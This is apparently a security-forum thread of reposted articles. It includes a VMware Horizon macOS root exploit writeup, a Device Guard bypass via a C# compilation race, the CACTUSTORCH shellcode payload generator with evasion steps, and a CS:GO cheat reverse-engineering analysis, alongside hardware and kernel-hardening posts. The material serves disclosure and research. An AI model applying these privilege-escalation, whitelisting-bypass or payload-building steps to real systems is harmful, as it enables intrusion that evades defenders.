decodes matches four address lines to decode one of the 16 address combinations. You can see the value counting down in binary. Some systems that used the 3101 The 64-bit storage capacity of the 3101 was too small for a system's main memory, but the chip had a role in many minicomputers. For example, the Burroughs D Machine was a military computer (and the source of the chips I examined). It used core memory for its main storage, but a board full of 3101 chips provided high-speed storage for its microcode. The Xerox Alto used four 3101 chips to provide 16 high-speed registers for the CPU, while the main memory used slower DRAM chips. Interdata used 3101 chips in many of its 16- and 32-bit minicomputers up until the 1980s.12 The 3101 was also used in smaller systems. The Diablo 8233 terminal used them as RAM.13 The Datapoint 2200 was a "programmable terminal" that held its processor stack in fast 3101 chips rather than the slow main memory which was built from Intel 1405 shift registers. The CPU of the Datapoint 2200 computer was built from a board full of TTL chips. The four white chips in the lower center-right are Intel 3101 RAM chips holding the stack. Photo courtesy of Austin Roche (I think). How I created the die photos To get the die photos, I started with two chips that I received thanks to Evan Wasserman and John Culver. The pins on the chips had been crushed in the mail, but this didn't affect the die photos. The chips had two different lot numbers that indicate they were manufactured a few months apart. Strangely, the metal lids on the chips were different sizes and the dies were slightly different. For more information, see the CPU Shack writeup of the 3101. Two 3101 RAM chips. The chip on the right was manufactured slightly later and has a larger lid over the die. Popping the metal lid off the chips was easy—just a tap with a hammer and chisel. This revealed the die inside. With the lid removed, you can see the die of the 3101 RAM chip and the bond wires connected to the die. Using a metallurgical microscope and Hugin stitching software (details), I stitched together multiple microscope photos to create an image of the die. The metal layer is clearly visible, but it obscures the silicon underneath, making it hard to determine the chip's circuitry. The photo below shows a closeup of the die showing the "3101" part number. The die photo of the Intel 3101 shows mostly the metal layer. I applied acid14 to remove the metal layer. This removed most of the metal, revealing the silicon circuitry underneath. Some of the metal is still visible, but thinner, appearing transparent green. Strangely, the number 3101 turned into 101; apparently the first digit wasn't as protected by oxide as the other digits. Treatment with acid dissolved most of the metal layer of the 3101 chip, revealing the silicon circuits underneath. Below is the complete die photo of the chip with the metal layer partially stripped off. (Click it for a larger version.) This die photo was most useful for analyzing the chip. Enough of the metal was removed to clearly show the silicon circuits, but the remaining traces of metal showed most of the wiring. The N+ silicon regions appear to have darkened in this etch cycle. Die photo of the Intel 3101 64-bit RAM chip with metal layer partially stripped off. I wanted to see how the chip looked with the metal entirely removed so I did a second etch cycle. Unfortunately, this left the die looking like it had been destroyed. After dissolving most of the oxide layer, the die looks like a mess. (This is a different region from the other photos.) I performed a third etch cycle. It turns out that the previous etch hadn't destroyed the die, but just left a thin layer of oxide that caused colored interference bands. The final etch removed the remaining oxide, leaving a nice, clean die. Only a ghost of the "101" number is visible. The contacts between the metal layer and the silicon remained after the etch; they may be different type of metal that didn't dissolve. The metal and oxide have been completely removed from the 3101 die, showing the silicon layer. Below is the full die photo with all the metal stripped off. (Click it for a full-size image.) Die photo of the Intel 3101 64-bit RAM chip with metal layer stripped off. Conclusion The 3101 RAM chip illustrates the amazing improvements in integrated circuits driven by Moore's Law.15 While the 3101 originally cost $99.50 for 64 bits, you can now buy 16 gigabytes of RAM for that price, two billion times as much storage. If you built a 16 GB memory from two billion 3101 chips, the chips alone would weigh about 3000 tons and use over a billion watts, half of Hoover Dam's power. A modern 16GB DRAM module, in comparison, uses only about 5 watts. As for Intel, the 3101 RAM was soon followed by many other memory products with rapidly increasing capacity, making Intel primarily a memory company that also produced processors. However, facing strong competition from Japanese memory manufacturers, Intel changed its focus to microprocessors and abandoned the DRAM business in 1985.16 By 1992, the success of the x86 processor line had made Intel the largest chip maker, justifying this decision. Even though Intel is now viewed as a processor company, it was the humble 3101 memory chip that gave Intel its start. Thanks to Evan Wasserman and John Culver for sending me the chips. John also did a writeup of the 3101 chip, which you can read at CPU Shack. Notes and references You might wonder why Intel's first chip had the seemingly-arbitrary number 3101. Intel had a highly-structured naming system. A 3xxx part number indicated a bipolar product. A 1 for the second digit indicated RAM, while the last two digits (01) were a sequence number. Fortunately, the marketing department stepped in and gave the 4004 and 8008 processors better names. ↩ Memory chips started out very expensive, but prices rapidly dropped. Computer Design Volume 9 page 28, 1970, announced a price drop of the 3101 from $99.50 to $40 in small volumes. Ironically, the Intel 3101 is now a collector's item and on eBay costs much more than the original price—hundreds of dollars for the right package. ↩ Several sources say that the 3101 was the first solid state memory, but this isn't accurate. There were many companies making memory chips in the 1960s. For instance, Texas Instruments announced the 16-bit SN5481 bipolar memory chip in 1966 (Electronics, V39 #1, p151) and Transitron had the TMC 3162 and 3164 16-bit RAM (Electrical Design News, Volume 11, p14). In 1968, RCA made 72-bit and 288-bit CMOS memories for the Air Force (document, photo). Lee Boysel built 256-bit dynamic RAMs at Fairchild in 1968 and 1K dynamic RAMs at Four Phase Systems in 1969 (timeline and Boysel presentation). For more information on the history of memory technology, see timeline and History of Semiconductor Engineering, p215. Another source for memory history is To the Digital Age, p193. ↩ From my measurements, the 3101 die is about 2.39mm by 3.65mm. Feature size is about 12µm. ↩ If you've used TTL chips, you probably used the 74LSxx family. The "S" stands for the Schottky transistors that make these chip fast. These chips were "the single most profitable product line in the history of Texas Instruments" (ref). ↩ The Schottky diode in the Schottky transistor is formed between the base and collector. This diode prevents the transistor from becoming saturated, allowing it to switch faster. ↩ The resistance of an IC resistor is proportional to the length divided by the width. The sheet resistance of a material is measured in the unusual unit of ohms per square. You might think it should be per square nanometer or square mm or something, but since the resistance depends on the ratio of length to width, the unit cancels out. ↩ The bias line is shared by all the cells. For reading, it is set to a low voltage. For writing, it is set to an intermediate voltage: higher than the data 0 voltage, but lower than the data 1 voltage. The bias voltage is controlled by the write enable pin. More advanced chips use two data lines instead of a bias line for more sensitivity. A differential amplifier to compare the currents on the two data lines and distinguish the tiny change between a zero bit and a one bit. However, the 3101 uses such high currents internally that this isn't necessary; it can read the data line directly. ↩ If my analysis is correct, when a row is selected, the address decode logic raises both the positive row select and negative row select lines by about 0.8 volts (one diode drop). Thus, the cell is still powered by the same voltage differential, but the voltage shift makes the data and bias lines active. ↩ Address lines A3 and A2 are reversed in the decoding logic, presumably because it made chip layout simpler. This has no effect on the operation of the chip since it doesn't matter of the physical word order matches the binary order. ↩ The 3101 has a chip select pin that makes it easy to combine multiple chips into a larger memory. If this pin is high, the chip will not read or write its contents. One strange thing about the address decoding logic is that each pair of address lines is driven by a NAND gate latch. There's no actual latching happening, so I don't understand why this circuit is used. How the 3101 implements this feature is a bit surprising. The chip select signal is fed into the address decoding circuit; if the chip is not selected, both A0 and the complement A0 are forced low. Thus, none of the rows will match in the address decoding logic and the chip doesn't respond. ↩ The Interdata 7/32 (the first 32-bit minicomputer) used 3101 chips in its memory controller. (See the maintenance manual page 338.) The Interdata 16/HSALU used 3101 chips for its CPU registers. (See the maintenance manual page 259.) As late as 1982, the Interdata 3210 used 3101 chips to hold cache tags (see manual page 456). On the schematics note that part number 19-075 indicates the 3101. ↩ The Diablo 8233 terminal used 3101A (74S289) chips as RAM for its discrete TTL-based processor (which was more of a microcontroller) that controlled the printer. (See maintenance manual page 187.) This systems was unusual since it contained both an 8080 microprocessor and a TTL-based processor. ↩ The metal layer of the chip is protected by silicon dioxide passivation layer. The professional way to remove this layer is with dangerous hydrofluoric acid. Instead, I used Armour Etch glass etching cream, which is slightly safer and can be obtained at craft stores. I applied the etching cream to the die and wiped it for four minutes with a Q-tip. (Since the cream is designed for frosting glass, it only etches in spots. It must be moved around to obtain a uniform etch.) Next, I applied a few drops of hydrochloric acid (pool acid from the hardware store) to the die for a few hours. ↩ Moore's law not only describes the exponential growth in transistors per chip, but drives this growth. The semiconductor industry sets its roadmap according to Moore's law, making it in some sense a self-fulfilling prophecy. See chapter 8 of Technological Innovation in the Semiconductor Industry for a thorough discussion. ↩ Intel's 1985 Annual Report says "It was a miserable year for Intel" and discusses the decision to leave the DRAM business. ↩ Sursa: http://www.righto.com/2017/07/inside-intels-first-product-3101-ram.html
      • 1
      • Upvote
  15. zynamics BinDiff uses a unique graph-theoretical approach to compare executables by identifying identical and similar functions zynamics BinDiff | Download now for free. By clicking this box, you are indicating that you have read and consent to to be bound by the terms of the End User License Agreement Such consent is a prerequisite to downloading the BinDiff software. If you have not read the terms or do not agree to these terms, then do not click the box and do not download the software. Current version: Filename Size SHA256 bindiff_4.3.0_amd64.deb 24.8M 98776bd9a61a29e4c8518b0ff0ae0a66518ab7c759aead5e3fcf2e6d3bcd1987 BinDiff4.3.dmg 29.7M dd8f0df59b71d1cbc5661ac732c483883a43af43ec78a0b9293e745e23a59f84 bindiff430.msi 28.6M e1915c18026d5a7288cca0c1ff71840bdb473b97c2235862a1241cda231791da Previous version: Filename Size SHA1 bindiff420-debian8-amd64.deb 15M 38fbea8070495fc8730d7c86eae03bc68fde291f bindiff420-debian8-i386.deb 15M 49cdd6ae7ebe5b1813a5fcafaae9fde19005c824 bindiff420-win-pluginsonly.zip 5.8M e2b786d405aac23aced989e02080dd69c18ab75e bindiff420-win-x86.msi 22M 89f2eadc6582d4acca1e78db3617b5fba3eced0f bindiff-license-key.zip 990 95715a8bd7469106fc60b03f94f3cc87604e354c Sursa: https://www.zynamics.com/software.html
      • 1
      • Upvote
  16. CVE-2017-4918: Code Injection in VMware Horizon’s macOS Client Mac OS X, Security, Software Add comments Jul 102017 In this blog post I want to discuss a code injection vulnerability in VMware Horizon‘s macOS Client Version 4.4.0 (5164329) that can be abused to gain local root privileges. The good news is, that it has already been fixed in the latest available version. I found it after learning about the “Open VMware View Client Services” SUID binary on my Mac. I think it is used internally by Horizon’s remote USB services and is only exploitable after they have been started once by entering administrative credentials. To investigate the binary further, I used the newly released Fireeye application Monitor.app. It basically is Process Monitor (procmon) for macOS. Based on the activities as captured by Monitor.app it was clear that “Open VMware View Client Services” was basically a wrapper around “services.sh”. This makes sense as the SUID bit is ignored for script files. After taking a closer look at this script, I identified the highlighted line in the following screenshot as a starting point for a possible code injection vulnerability. Although I had no idea about the inner workings of “./vmware-usbarbitrator” this binary was immediately my focus for further investigations. The reason for this is that I – as a non-admin user – am able to set the content of the environment variable VMWARE_VIEW_USBARBITRATOR_LOG_OPTIONS – that is used in an SUID executed script. After taking a closer look at the possible command line options I was pretty sure I could abuse this setup to load a custom kernel extension by abusing the –kext flag. However, there are two further problems: Kernel Extensions are only loaded if they are owned by root : wheel Additionally, KEXTs the have to be signed by Apple. In the course of this LPE I will ignore issue #2. Hence, I disabled SIP. So let’s focus on issue #1. To successfully load a kernel extension the binary has to be owned by root : wheel. However, for a normal user it is impossible to set this file system permissions on a any local file. Luckily, I had already invested plenty of time to learn about the In’s and Out’s of file systems at Tools On Air. So I knew, the only thing I had to do was to abuse NFS. This is possible because NFS allows the server to specify the file system permissions, even if mounted by a user. Any other local or remote file system I know of, ignores files owned by root in some way. So my next step was to simply export a remote folder (on my Kali Linux I always carry around with me) using NFS… … and mount it using Finder’s “Connect to Server”. After creating a simple KEXT … and updating the Info.plist file to meet the requirements (simply add a dictionary “IOKitPersonalities”) we are ready! After copying this KEXT to the NFS server and adapting its permissions to meet the “root:wheel” requirement, we are finally able to start the real exploitation. To do so simply set the “VMWARE_VIEW_USBARBITRATOR_LOG_OPTIONS” environment variable to our previously create KEXT and run “Open VMware View Client Services”. This is enough to load it! Hence, we gained code execution from a normal user’s account within the kernel context! Suggested Solution Filter or clear the environment variables VMWARE_VIEW_USBARBITRATOR_LOG_OPTIONS and VMWARE_VIEW_USBD_LOG_OPTIONS. Disclosure Timeline 21-04-2017: The issues has been documented and reported 24-04-2017: VMware started investigating 06-06-2017: Fix ready 08-06-2017: Updated Horizon version 4.5 alongside security advisory VMSA-2017-0011 released Sursa: https://bogner.sh/2017/07/cve-2017-4918-code-injection-in-vmware-horizons-macos-client/
      • 1
      • Upvote
  17. E chiar util, eu nici nu stiam de asta pana acum
  18. Security Headlines provides the latest Cyber Security news. We filter top 50 security websites and let you informed about the latest trend concerning mobile security, web & network security, ransomware, malware, vulnerability, data protection, privacy protection, IOT security, threat analysis and more. It enables you to explore what you want to know or stay up-to-date by a range of options. Main Features: -Headlines of top security news -Detail articles and content about IT security news -Search bar for users to explore anything they need - Data analysis on technologies and latest vulnerabilities -Professional solutions for mobile or web security threats - Users’ privileges to choose categories or block certain topics Read only what you want and explore only what interests you. This app is simple to use, but a great help! Download Security Headlines for free and stay alert the up-to-date security news in the cyber world. Link: https://play.google.com/store/apps/details?id=com.skyaid.securityheadlines
  19. Bypassing Device Guard with .NET Assembly Compilation Methods Tl;dr This post will describe a Device Guard user mode code integrity (UMCI) bypass (or any other application whitelisting solution for that matter) that takes advantage of the fact the code integrity checks are not performed on any code that compiles C# dynamically with csc.exe. This issue was reported to Microsoft on November 14, 2016. Despite all other Device Guard bypasses being serviced, a decision was made to not service this bypass. This bypass can be mitigated by blocking csc.exe but that may not be realistic in your environment considering the frequency in which legitimate code makes use of these methods - e.g. msbuild.exe and many PowerShell modules that call Add-Type. Introduction When Device Guard enforces user mode code integrity (UMCI), aside from blocking non-whitelisted binaries, it also only permits the execution of signed scripts (PowerShell and WSH) approved per policy. The UMCI enforcement mechanism in PowerShell is constrained language mode. One of the features of constrained language mode is that unsigned/unapproved scripts are prevented from calling Add-Type as this would permit arbitrary code execution via the compilation and loading of supplied C#. Scripts that are approved per Device Guard code integrity (CI) policy, however, are under no such restrictions, execute in full language mode, and are permitted to call Add-Type. While investigating Device Guard bypasses, I considered targeting legitimate, approved calls to Add-Type. I knew that the act of calling Add-Type caused csc.exe – the C# compiler to drop a .cs file to %TEMP%, compile it, and load it. A procmon trace of PowerShell calling Add-Type confirms this: Process Name Operation Path ------------ --------- ---- csc.exe CreateFile C:\Users\TestUser\AppData\Local\Temp\bfuswtq5.cmdline csc.exe CreateFile C:\Users\TestUser\AppData\Local\Temp\bfuswtq5.0.cs csc.exe CreateFile C:\Users\TestUser\AppData\Local\Temp\CSC3FBE068FE0A4C00B4A74B718FAE2E57.TMP csc.exe CreateFile C:\Users\TestUser\AppData\Local\Temp\CSC3FBE068FE0A4C00B4A74B718FAE2E57.TMP csc.exe CreateFile C:\Users\TestUser\AppData\Local\Temp\RES1A69.tmp cvtres.exe CreateFile C:\Users\TestUser\AppData\Local\Temp\CSC3FBE068FE0A4C00B4A74B718FAE2E57.TMP cvtres.exe CreateFile C:\Users\TestUser\AppData\Local\Temp\RES1A69.tmp csc.exe CreateFile C:\Users\TestUser\AppData\Local\Temp\RES1A69.tmp csc.exe CreateFile C:\Users\TestUser\AppData\Local\Temp\RES1A69.tmp csc.exe CreateFile C:\Users\TestUser\AppData\Local\Temp\bfuswtq5.dll csc.exe CreateFile C:\Users\TestUser\AppData\Local\Temp\CSC3FBE068FE0A4C00B4A74B718FAE2E57.TMP Upon seeing these files created, I asked myself the following questions: Considering an approved (i.e. whitelisted per policy) PowerShell function is permitted to call Add-Type (as many Microsoft-signed module functions do), could I possibly replace the dropped .cs file with my own? Could I do so quickly enough to win that race? How is the .DLL that’s created loaded? Is it subject to code integrity (CI) checks? Research methodology Let’s start with the second question since exploitation would be impossible if CI would prevent the loading of a hijacked, unsigned DLL. To answer this question, I needed to determine what .NET methods were called upon Add-Type being called. This determination was relatively easy by tracing method calls in dnSpy. I quickly traced execution of the following .NET methods: Microsoft.PowerShell.Commands.AddTypeCommand.CompileAssemblyFromSource System.CodeDom.Compiler.CodeDomProvider.CompileAssemblyFromSource Microsoft.CSharp.CSharpCodeGenerator.System.CodeDom.Compiler.ICodeCompiler.CompileAssemblyFromSourceBatch Microsoft.CSharp.CSharpCodeGenerator.FromSourceBatch Microsoft.CSharp.CSharpCodeGenerator.FromFileBatch Microsoft.CSharp.CSharpCodeGenerator.Compile (where csc.exe is ultimately called) System.Reflection.Assembly.Load Once the Microsoft.CSharp.CSharpCodeGenerator.Compile method is called, this is where csc.exe is ultimately invoked. After the Compile method returns, FromFileBatch takes the compiled artifacts, reads them in as a byte array, and then loads them using System.Reflection.Assembly.Load(byte[], byte[], Evidence). This is the same method called by msbuild.exe when compiling inline tasks – a known Device Guard UMCI bypassed discovered by Casey Smith. Knowing this, I gained the confidence that if I could hijack the dropped .cs file, I would end up having a constrained language mode bypass, allowing arbitrary unsigned code execution. What we’re referring to here is known as a “time of check time of use” (TOCTOU) attack. If I could manage to replace the dropped .cs file with my own prior to csc.exe consuming it, then I would win that race and perform the bypass. The only constraints imposed on me, however, would be that I would need to write a hijack payload within the constraints of constrained language mode. As it turns out, I was successful. Exploitation I wrote a function called Add-TypeRaceCondition that will accept attacker-supplied C# and get an allowed call to Add-Type to compile it and load it within the constraints of constrained language mode. The weaponized bypass is roughly broken down as follows: Spawn a child process of PowerShell that constantly tries to drop the malicious .cs file to %TEMP%. Maximize the process priority of the child PowerShell process to increase the likelihood of winning the race. In the parent PowerShell process, import a Microsoft-signed PowerShell module that calls Add-Type – I chose the PSDiagnostics process for this. Kill the child PowerShell process. At this point, you will have likely won the race and your type will be loaded in place of the legitimate one expected by PSDiagnostics. In reality, the payload wins the race a little more than 50% of the time. If Add-TypeRaceCondition doesn’t work on the first try, it will almost always work on the second try. Do note that while I weaponized this bypass for PowerShell, this can be weaponized using anything that would allow you to overwrite the dropped .cs file quickly enough. I've weaponized the bypass using a batch script, VBScript, and with WMI. I'll leave it up to the reader to implement a bypass using their language of choice. Operational Considerations It's worth noting that while an application whitelisting bypass is just that, it also serves as a method of code execution that is likely to evade defenses. In this bypass, an attacker need only drop a C# file to disk which results in the temporary creation of a DLL on disk which is quickly deleted. Depending upon the payload used, some anti-virus solutions with real-time scanning enabled could potentially have the ability to quarantine the dropped DLL before it's consumed by System.Reflection.Assembly.Load. Prevention Let me first emphasize that this is a .NET issue, not a PowerShell issue. PowerShell was simply chosen as a convenient means to weaponize the bypass. As I’ve already stated, this issue doesn’t just apply to when PowerShell calls Add-Type, but when any application calls any of the CodeDomProvider.CompileAssemblyFrom methods. Researchers will continue to target signed applications that make such method calls until this issue is mitigated. A possible user mitigation for this bypass would be to block csc.exe with a Device Guard rule. I would personally advise against this, however, since there are many legitimate Add-Type calls in PowerShell and presumably in other legitimate applications. I’ve provided a sample Device Guard CI rule that you can merge into your policy if you like though. I created the rule with the following code: # Copy csc.exe into the following directory # csc.exe should be the only file in this directory. $CSCTestPath = '.\Desktop\ToBlock\' $PEInfo = Get-SystemDriver -ScanPath $CSCTestPath -UserPEs -NoShadowCopy $DenyRule = New-CIPolicyRule -Level FileName -DriverFiles $PEInfo -Deny $DenyRule[0].SetAttribute('MinimumFileVersion', '65535.65535.65535.65535') $CIArgs = @{ FilePath = "$($CSCTestPath)block_csc.xml" Rules = $DenyRule UserPEs = $True } New-CIPolicy @CIArgs Detection Unfortunately, detection using free, off-the-shelf tools will be difficult due to the fact that the disk artifacts are created and subsequently deleted and by the nature of System.Reflection.Assembly.Load(byte[]) not generating a traditional module load event that something like Sysmon would be able to detect. Vendors with the ability to hash files on the spot should consider assessing the prevalence of DLLs created by csc.exe. Files with low prevalence should be treated as suspicious. Also, unfortunately, since dynamically created DLLs by their nature will not be signed, there will be no code signing heuristics to key off of. It's worth noting that I intentionally didn't mention PowerShell v5 ScriptBlock logging as a detection option since PowerShell isn't actually required to achieve this bypass. Conclusion I remain optimistic of Device Guard’s ability to enforce user mode code integrity. It is a difficult problem to tackle, however, and there is plenty of attack surface. In most cases, Device Guard UMCI bypasses can be mitigated by a user in the form of CI blacklist rules. Unfortunately, in my opinion, no realistic user mitigation of this particular bypass is possible. Microsoft not servicing such a bypass is the exception and not the norm. Please don’t let this discourage you from reporting any bypasses that you may find to secure@microsoft.com. It is my hope that by releasing this bypass that it will eventually be addressed and it will provide other vendors with the opportunity to mitigate. Previously serviced bypasses for reference: CVE-2017-0215 CVE-2017-0216 CVE-2017-0218 CVE-2017-0219 CVE-2017-0007 Sursa: http://www.exploit-monday.com/2017/07/bypassing-device-guard-with-dotnet-methods.html
  20. C++17/14/11 Overview Many of these descriptions and examples come from various resources (see Acknowledgements section), summarized in my own words. C++17 includes the following new language features: template argument deduction for class templates declaring non-type template parameters with auto folding expressions new rules for auto deduction from braced-init-list constexpr lambda lambda capture this by value inline variables nested namespaces structured bindings selection statements with initializer constexpr if utf-8 character literals direct-list-initialization of enums C++17 includes the following new library features: std::variant std::optional std::any std::string_view std::invoke std::apply splicing for maps and sets C++14 includes the following new language features: binary literals generic lambda expressions lambda capture initializers return type deduction decltype(auto) relaxing constraints on constexpr functions variable templates C++14 includes the following new library features: user-defined literals for standard library types compile-time integer sequences std::make_unique C++11 includes the following new language features: move semantics variadic templates rvalue references initializer lists static assertions auto lambda expressions decltype template aliases nullptr strongly-typed enums attributes constexpr delegating constructors user-defined literals explicit virtual overrides final specifier default functions deleted functions range-based for loops special member functions for move semantics converting constructors explicit conversion functions inline-namespaces non-static data member initializers right angle brackets C++11 includes the following new library features: std::move std::forward std::to_string type traits smart pointers std::chrono tuples std::tie std::array unordered containers std::make_shared memory model Sursa: https://github.com/AnthonyCalandra/modern-cpp-features
      • 5
      • Upvote
  21. Payload Generation with CACTUSTORCH 10/07/2017 | Author: Admin CACTUSTORCH is a framework for payload generation that can be used in adversary simulation engagements based on James Forshaw’s DotNetToJScript tool. This tool allows C# binaries to be bootstrapped inside a payload, providing reliable means to bypass many common defences. Currently CACTUSTORCH supports the following payload types: VBS VBA JS JSE WSF HTA VBE Prior to this, it was not possible to invoke shellcode injection directly from multiple formats with the exclusion of VBA macros (more on this later in the post). CACTUSTORCH has a self-contained C# binary which accepts a binary name and base64 encoded shellcode to inject. Additionally, it borrows concepts from @armitagehacker / CobaltStrike’s VBA macro injection whereby it selects the 32 bit executable to inject into. State of Current Payloads Generation of payloads for the supported formats already exists in several frameworks, including Metasploit and Cobalt Strike. There are however some drawbacks to how these payloads are generated. In Metasploit framework the following payload formats work as such: VBS: File drop and execute – Touches disk. HTA-PSH: Runs powershell.exe with a WScript.Shell object – Powershell.exe and WScript.Shell are well known to blue team. VBA-EXE: File drop and execute – Touches disk. VBA: Shellcode injection by declaring Kernel32 API – Known indicators for Maldoc scanning. VBA-PSH: Runs powershell.exe with a Shell object – Powershell.exe is well known to blue team. In CobaltStrike, the following payload formats work as such: VBS: Weakens the target, creates a COM object to Excel, creates worksheet, injects VBA macro code and executes. – Relies on Office being installed and Kernel32 API declarations in injected VBA. VBA: Shellcode injection by declaring Kernel32 API – Known indicators for Maldoc scanning. HTA-EXE: File drop and execute – Touches disk. HTA-PSH: Runs powershell.exe with a WScript.Shell object – Powershell.exe and WScript.Shell are well known to blue team. HTA-VBA: Wraps around a VBS that does the weakening, COM object to Excel, macro injection of Kernel32 API declaration VBA code. Benefits of CACTUSTORCH CACTUSTORCH offers a number of improvements on current payload generation that are currently beyond the capabilities of the public frameworks: Does not use Kernel32 API declarations in the payload Obfuscated within the C# binary Allows for arbitrary specification of target binary to spawn. Allows for arbitrary shellcode to be specified. Does not spawn PowerShell.exe. Does not require Powershell. Does not require Office. Does not invoke WScript.Shell. Does not require staging as the full stageless shellcode can be contained within the delivered payload. No static parent to child spawn, the user can change what wscript.exe spawns. exe spawning Powershell.exe is suspicious, spawning rundll32.exe is arguably less indicative of compromise. You can change this to calc.exe, ping.exe /t or similar less suspicious binaries. Using CACTUSTORCH Using CACTUSTORCH is relatively straight forward, the following outlines the steps required to generate a custom payload: Select the payload format you want to use from the cloned directory Select a binary container you want to inject into, has to exist in both SYSWOW64 and SYSTEM32 Generate raw shellcode for your listener $> cat payload.bin | base64 -w 0 > out.txt Copy the out.txt base64 raw payload into the “code” variable of the template If doing it for the VBA, run the out.txt through vbasplit.py out.txt split.txt Then copy the split.txt into the code section highlighted in the VBA template Payload is ready Do obfuscation if you want A video demonstrating these steps is shown below: Integration with Cobalt Strike As part of the process for streamlining adversary simulation engagements so that more time can be placed into creating more sophisticated and bespoke attacks, Vincent has created a CACTUSTORCH aggressor script to facilitate this. After loading the aggressor script, the following menu is presented as an option under the “Attack” tab. You can now select the payloads you want to use and options, it will generate the payload and host it for you. In terms of the VBA code, it will be presented in a textbox where it can be copied from and pasted into a Word VBA Macro. The aggressor script is demonstrated in the following video: Credits The scripts, proof of concepts and aggressor script addon is created by Vincent Yiu of the ActiveBreach team. We would like to also thank the following people for their contributions: @tiraniddo: James Forshaw for DotNet2Jscript @cn33liz: Inspiration with StarFighters @armitagehacker: Raphael Mudge for idea of selecting 32 bit version on 64 bit architecture machines for injection into @_RastaMouse: Testing and giving recommendations around README CACTUSTORCH can be downloaded from the MDSec ActiveBreach github page. Sursa: https://www.mdsec.co.uk/2017/07/payload-generation-with-cactustorch/
      • 1
      • Upvote
  22. security things in Linux v4.12 Filed under: Chrome OS,Debian,Kernel,Security,Ubuntu,Ubuntu-Server — kees @ 1:24 am Previously: v4.11. Here’s a quick summary of some of the interesting security things in last week’s v4.12 release of the Linux kernel: x86 read-only and fixed-location GDT With kernel memory base randomization, it was stil possible to figure out the per-cpu base address via the “sgdt” instruction, since it would reveal the per-cpu GDT location. To solve this, Thomas Garnier moved the GDT to a fixed location. And to solve the risk of an attacker targeting the GDT directly with a kernel bug, he also made it read-only. usercopy consolidation After hardened usercopy landed, Al Viro decided to take a closer look at all the usercopy routines and then consolidated the per-architecture uaccess code into a single implementation. The per-architecture code was functionally very similar to each other, so it made sense to remove the redundancy. In the process, he uncovered a number of unhandled corner cases in various architectures (that got fixed by the consolidation), and made hardened usercopy available on all remaining architectures. ASLR entropy sysctl on PowerPC Continuing to expand architecture support for the ASLR entropy sysctl, Michael Ellerman implemented the calculations needed for PowerPC. This lets userspace choose to crank up the entropy used for memory layouts. LSM structures read-only James Morris used __ro_after_init to make the LSM structures read-only after boot. This removes them as a desirable target for attackers. Since the hooks are called from all kinds of places in the kernel this was a favorite method for attackers to use to hijack execution of the kernel. (A similar target used to be the system call table, but that has long since been made read-only.) KASLR enabled by default on x86 With many distros already enabling KASLR on x86 with CONFIG_RANDOMIZE_BASE and CONFIG_RANDOMIZE_MEMORY, Ingo Molnar felt the feature was mature enough to be enabled by default. Expand stack canary to 64 bits on 64-bit systems The stack canary values used by CONFIG_CC_STACKPROTECTOR is most powerful on x86 since it is different per task. (Other architectures run with a single canary for all tasks.) While the first canary chosen on x86 (and other architectures) was a full unsigned long, the subsequent canaries chosen per-task for x86 were being truncated to 32-bits. Daniel Micay fixed this so now x86 (and future architectures that gain per-task canary support) have significantly increased entropy for stack-protector. Expanded stack/heap gap Hugh Dickens, with input from many other folks, improved the kernel’s mitigation against having the stack and heap crash into each other. This is a stop-gap measure to help defend against the Stack Clash attacks. Additional hardening needs to come from the compiler to produce “stack probes” when doing large stack expansions. Any Variable Length Arrays on the stack or alloca() usage needs to have machine code generated to touch each page of memory within those areas to let the kernel know that the stack is expanding, but with single-page granularity. That’s it for now; please let me know if I missed anything. The v4.13 merge window is open! © 2017, Kees Cook. This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 License. Sursa: https://outflux.net/blog/archives/2017/07/10/security-things-in-linux-v4-12/
  23. Reverse engineering a CS:GO cheating software TL;DR: Technical low-level analysis of the cheat, also including the licensing and differences between public and private version. CS:GO is one of the most popular competitive online games, it has 520.285 current players as I write these lines. As in any other competition-driven game, cheaters arise, and specially in the CS community, they have become a serious problem. Today we are taking a look at the public and private version of a cheat for this game! I won't mention the name of the cheat to avoid giving them free advertisement and because it's not necessary for this post, but if you're into this topic, you'll probably guess. Before we start, it's important to mention that I managed to get a private version build using an alternative channel 😈. This means I've never paid to the developer, so I didn't support their business in any way! Damn you, cheaters! Public vs Private version This cheat is quite accessible, as the developer provides a public (free) version with all the capabilities for the users to try. The most important "downside", is that the public cheat is obviously detected by VAC, so if you use it in a VAC-protected server, it's a matter of time that your account gets VAC-banned. Here is where the paid private version comes into play: Customers get a unique build that is guaranteed to be undetected. Licensing Each private version build of the cheat is tied to a machine, to avoid piracy, reselling, ... The license procedure gets the SystemDrive environment variable, and using DeviceIoControl with the parameter IOCTL_DISK_GET_DRIVE_GEOMETRY, reads the technical capabilities of the hard drive. Then the Processor Brand String is also read using the cpuid instruction. This information is formatted into a string, hashed with SHA1, and mutated with a custom ASCII rotation algorithm: for ( i = 0; i < v16; v16 = strlen((const char *)&sha1_hex) ) { v18 = *((char *)&sha1_hex + i); if ( (unsigned int)(v18 - '0') > 9 ) *((_BYTE *)&sha1_hex + i) = v18 + 5; else *((_BYTE *)&sha1_hex + i) = v18 + '!'; ++i; } The resulting string is your unique license, which is sent to the cheat developer when you buy it, and in return you get a build that only works in the computer that generated this license. How the cheat works This cheat is an external cheat, which means all the work is done out of the CS:GO process (no DLL injection). The first thing it does is open the csgo.exe process, and get the base addresses of client.dll and engine.dll. Then it uses patterns to find game structures (offsets) in the memory, these patterns usually match opcodes of the game binaries, where memory pointers are referenced, or other useful information. They also use patterns to find game functions and strings. For example, one of the patterns is: 89 0D ? ? ? ? 8B 0D ? ? ? ? 8B F2 8B C1 83 CE 08 If we look for these bytes in the client.dll file, we get the following hit: 0x102bdf1d 890de815f214 mov dword [0x14f215e8], ecx 0x102bdf23 8b0d5ccaec12 mov ecx, dword [0x12ecca5c] 0x102bdf29 8bf2 mov esi, edx 0x102bdf2b 8bc1 mov eax, ecx 0x102bdf2d 83ce08 or esi, 8 Which means this pattern is looking for one of those global memory references present in the first two disassembly lines. As we said, they also use patterns to locate game functions, for instance with the following pattern, the cheat locates the start of the function used by the game to execute console commands in-game: 55 8B EC 8B ? ? ? ? ? 81 F9 ? ? ? ? 75 0C A1 ? ? ? ? 35 ? ? ? ? EB 05 8B 01 FF 50 34 50 A1 This one is found in engine.dll: 0x100aa300 55 push ebp 0x100aa301 8bec mov ebp, esp 0x100aa303 8b0d54345b10 mov ecx, dword [0x105b3454] 0x100aa309 81f938345b10 cmp ecx, 0x105b3438 ,=< 0x100aa30f 750c jne 0x100aa31d | 0x100aa311 a168345b10 mov eax, dword [0x105b3468] | 0x100aa316 3538345b10 xor eax, 0x105b3438 ,==< 